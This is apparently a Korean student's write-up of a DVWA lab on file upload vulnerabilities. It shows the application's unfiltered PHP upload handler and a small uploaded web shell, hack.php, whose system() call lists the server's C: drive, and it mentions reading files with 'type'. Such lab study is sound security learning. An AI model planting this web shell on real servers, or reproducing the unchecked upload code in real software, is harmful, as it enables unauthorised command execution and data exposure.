File 취약점 역시도 저번에 드림핵 강의와 워게임을 풀면서 다루어 보았다.
그 때 배웠던 것을 참고하면 파일 업로드 취약점은 파일의 형식과 확장자 등의 대한 필터링이 없기 때문에 쉘 코드나 악성 스크립트 파일을 서버에 업로드 하여 서버를 공격할 수 있게 되는 취약점이다.
이번 문제에서는 나는 서버의 내부 파일들의 리스트를 훔쳐보는 정도로 끝나겠지만 이것이 더욱 악용된다면 큰 문제를 야기할 수 있다.
먼저 문제를 살펴보자
보아하니 파일을 선택하고 그냥 업로드 하는 것이다.
코드를 살펴보자
아래 코드를 보면 hackable/uploads/ 경로에 파일을 저장한다.
그리고 파일의 확장자에 대한 필터링은 없는 것으로 보인다.
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
그렇다면 나는 hack.php라는 파일을 만들어서 서버의 쉘에게 직접 명령을 해보겠다.
아래는 hack.php이다.
간단하게 cd 명령로 로컬디스크 c로 간 후 그 안에 디렉토리들과 간단한 정보들을 보는 명령어인 dir을 실행하는 코드이다.
리눅스에서 ls가 윈도우에서는 dir이라고 보면 된다.
<?php
system("cd ../../../../../../../ && dir")
?>
이렇게 하고 hack.php를 업로드하면
이렇게 저 경로에 upload가 되었다는 알림이 뜬다.
그럼 저 경로에 있는 hack.php를 주소창에 쳐서 가보자.
그럼 이렇게 서버의 로컬디스크 리스트가 나온다.
브라우저와 원격 서버의 관계였다면 굉장히 private한 정보들이 나오는 것이다.
그리고 type명령어로 파일의 내용을 볼 수도 있다.
이외에도 여러 쉘 명령어를 사용하면 서버에게 큰 타격을 입힐 수 있다.